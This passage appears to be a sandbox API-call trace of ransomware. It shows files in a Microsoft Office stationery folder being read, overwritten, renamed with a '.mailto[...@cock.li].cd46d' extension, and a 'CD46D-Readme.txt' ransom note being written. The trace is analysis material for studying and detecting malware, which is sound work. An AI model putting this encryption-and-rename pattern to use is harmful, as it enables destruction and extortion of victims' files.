(in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x2e610d1a [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x43dacab7 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x2bbfe1c6 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x3398d79e [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x1459f7f7 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x1706ad51 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x4d8e1074 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x307fa106 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x7eff7c1e [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x3b591b35 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x53bc1601 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x6fe356aa [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x2b618a63 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x2a560a6b [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x474aa372 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x6ef4b065 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x1c0d63dd [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x51d33ab1 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x6857078 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x203f8650 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x54c36e2d [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0xe0fa76d [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x19a8637b [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x111d22c6 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x6bee9933 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x776698ee [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x6b5889a7 [0055.062] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x5c1d6495 [0055.063] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x44499920 [0055.063] RtlRandomEx (in: Seed=0x4ecfb54 | out: Seed=0x4ecfb54) returned 0x46d43c17 [0055.075] ReadFile (in: hFile=0xf9c, lpBuffer=0x5e9f098, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x4ecfb44, lpOverlapped=0x0 | out: lpBuffer=0x5e9f098*, lpNumberOfBytesRead=0x4ecfb44*=0x2e, lpOverlapped=0x0) returned 1 [0055.076] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.076] WriteFile (in: hFile=0xf9c, lpBuffer=0x5eab8a0*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x4ecfb40, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesWritten=0x4ecfb40*=0x2e, lpOverlapped=0x0) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0055.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604b8 [0055.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0055.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0055.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e9f098) returned 1 [0055.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0055.078] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0055.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4088c0 [0055.078] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.078] WriteFile (in: hFile=0xf9c, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x4ecfba8, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x4ecfba8*=0x109, lpOverlapped=0x0) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460418) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460490) returned 1 [0055.080] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460530) returned 1 [0055.080] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e003a0 [0055.080] wcscpy (in: _Dest=0x5e003a0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" [0055.080] wcscat (in: _Dest=0x5e003a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0055.080] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x4ecfb60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0055.080] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x96f0008 [0055.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 [0055.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4af668) returned 1 [0055.082] NtQueryInformationFile (in: FileHandle=0xf9c, IoStatusBlock=0x4ecfb6c, FileInformation=0x4ecfb44, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4ecfb6c, FileInformation=0x4ecfb44) returned 0x0 [0055.082] NtSetInformationFile (FileHandle=0xf9c, IoStatusBlock=0x4ecfb6c, FileInformation=0x4ecfb44, Length=0x28, FileInformationClass=0x4) returned 0x0 [0055.083] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e003a0) returned 1 [0055.083] FlushFileBuffers (hFile=0xf9c) returned 1 [0055.085] CloseHandle (hObject=0xf9c) returned 1 [0055.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417110 [0055.086] wcscpy (in: _Dest=0x417110, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0055.086] wcscat (in: _Dest=0x417110, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0055.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0xffffffff [0055.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf9c [0055.086] WriteFile (in: hFile=0xf9c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x4ecfb68, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x4ecfb68*=0x6fd, lpOverlapped=0x0) returned 1 [0055.087] CloseHandle (hObject=0xf9c) returned 1 [0055.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417110) returned 1 [0055.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x448068) returned 1 Thread: id = 785 os_tid = 0x1020 [0051.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm")) returned 0x20 [0051.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM", dwFileAttributes=0x20) returned 1 [0055.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf98 [0055.097] GetFileSizeEx (in: hFile=0xf98, lpFileSize=0x1370fe6c | out: lpFileSize=0x1370fe6c*=483) returned 1 [0055.097] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.097] ReadFile (in: hFile=0xf98, lpBuffer=0x1370fdf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1370fdec, lpOverlapped=0x0 | out: lpBuffer=0x1370fdf0*, lpNumberOfBytesRead=0x1370fdec*=0x4, lpOverlapped=0x0) returned 1 [0055.098] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604e0 [0055.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0055.098] NtQuerySystemTime (in: CurrentTime=0x1370fdcc | out: CurrentTime=0x1370fdcc*=132174898190760000) returned 0x0 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x2f1d219a [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x20be04d5 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x73c19b8f [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x40e25bec [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x3d2d13e9 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x6b5a41a0 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x32d49959 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x3a9dbedc [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0xa42408e [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x3f25df46 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x5066018d [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x1048bb8e [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x27ccd790 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x6b2a625c [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x4d70e876 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x19f9e999 [0055.098] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x49ad2764 [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x55c482ad [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x2fa59300 [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x6352d632 [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x4e1b5bba [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x2e671ee [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x81c6bd9 [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x604ba9e1 [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x4a76c03d [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x5b41941f [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x7b320d0d [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x3b888e1f [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x78e39aef [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x3f8ca4a9 [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x546dbcad [0055.099] RtlRandomEx (in: Seed=0x1370fdd8 | out: Seed=0x1370fdd8) returned 0x6f9e008e [0055.110] ReadFile (in: hFile=0xf98, lpBuffer=0x5e86088, nNumberOfBytesToRead=0x1e3, lpNumberOfBytesRead=0x1370fdc8, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesRead=0x1370fdc8*=0x1e3, lpOverlapped=0x0) returned 1 [0055.110] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.110] WriteFile (in: hFile=0xf98, lpBuffer=0x5e92890*, nNumberOfBytesToWrite=0x1e3, lpNumberOfBytesWritten=0x1370fdc4, lpOverlapped=0x0 | out: lpBuffer=0x5e92890*, lpNumberOfBytesWritten=0x1370fdc4*=0x1e3, lpOverlapped=0x0) returned 1 [0055.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0055.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0055.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0128) returned 1 [0055.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92890) returned 1 [0055.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0055.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0055.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0055.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x408830 [0055.896] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.896] WriteFile (in: hFile=0xf98, lpBuffer=0x44ce90*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1370fe2c, lpOverlapped=0x0 | out: lpBuffer=0x44ce90*, lpNumberOfBytesWritten=0x1370fe2c*=0x109, lpOverlapped=0x0) returned 1 [0061.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ce90) returned 1 [0061.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8d0) returned 1 [0061.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0128) returned 1 [0061.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408830) returned 1 [0061.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0061.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604e0) returned 1 [0061.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460530) returned 1 [0061.561] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460490) returned 1 [0061.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00540 [0061.561] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" [0061.561] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0061.561] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1370fde4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x424230 [0061.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.562] NtQueryInformationFile (in: FileHandle=0xf98, IoStatusBlock=0x1370fdf0, FileInformation=0x1370fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1370fdf0, FileInformation=0x1370fdc8) returned 0x0 [0061.562] NtSetInformationFile (FileHandle=0xf98, IoStatusBlock=0x1370fdf0, FileInformation=0x1370fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.563] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.563] FlushFileBuffers (hFile=0xf98) returned 1 [0062.198] CloseHandle (hObject=0xf98) returned 1 [0062.663] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2a708 [0062.663] wcscpy (in: _Dest=0x12e2a708, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0062.663] wcscat (in: _Dest=0x12e2a708, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" [0062.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\cd46d-readme.txt")) returned 0x20 [0062.663] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a708) returned 1 [0062.663] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4480f0) returned 1 Thread: id = 786 os_tid = 0x1024 [0051.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif")) returned 0x20 [0051.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF", dwFileAttributes=0x20) returned 1 [0055.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfa4 [0055.111] GetFileSizeEx (in: hFile=0xfa4, lpFileSize=0x138afd1c | out: lpFileSize=0x138afd1c*=3382) returned 1 [0055.111] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0xd32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.111] ReadFile (in: hFile=0xfa4, lpBuffer=0x138afca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x138afc9c, lpOverlapped=0x0 | out: lpBuffer=0x138afca0*, lpNumberOfBytesRead=0x138afc9c*=0x4, lpOverlapped=0x0) returned 1 [0055.113] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0055.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460418 [0055.113] NtQuerySystemTime (in: CurrentTime=0x138afc7c | out: CurrentTime=0x138afc7c*=132174898190916000) returned 0x0 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x43779073 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x84218c9 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x5f40d6a0 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0xa9e1753 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x32d33b7a [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x3aae0de4 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x36bf02a [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0xd087aa0 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x15676082 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0xf564ccf [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x7bd9b7cd [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x7bb347e7 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0xc5ae5f4 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x791debe8 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x2e02112b [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x56aca384 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x58b23f12 [0055.113] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x6d0d377a [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x1952740e [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x244c3914 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x67c7a944 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x6366abdf [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x59548854 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x6daf44e8 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x7db6e16e [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x53511942 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x5ad37fb6 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x635d8f16 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x45f0cf53 [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x34d71c3f [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x520f88ac [0055.114] RtlRandomEx (in: Seed=0x138afc88 | out: Seed=0x138afc88) returned 0x20de8b5b [0055.125] ReadFile (in: hFile=0xfa4, lpBuffer=0x5e9f098, nNumberOfBytesToRead=0xd36, lpNumberOfBytesRead=0x138afc78, lpOverlapped=0x0 | out: lpBuffer=0x5e9f098*, lpNumberOfBytesRead=0x138afc78*=0xd36, lpOverlapped=0x0) returned 1 [0055.125] SetFilePointerEx (in: hFile=0xfa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.125] WriteFile (in: hFile=0xfa4, lpBuffer=0x5eab8a0*, nNumberOfBytesToWrite=0xd36, lpNumberOfBytesWritten=0x138afc74, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesWritten=0x138afc74*=0xd36, lpOverlapped=0x0) returned 1 [0055.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441708 [0055.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441730 [0055.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441730) returned 1 [0055.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eab8a0) returned 1 [0055.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e9f098) returned 1 [0055.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0055.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0055.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 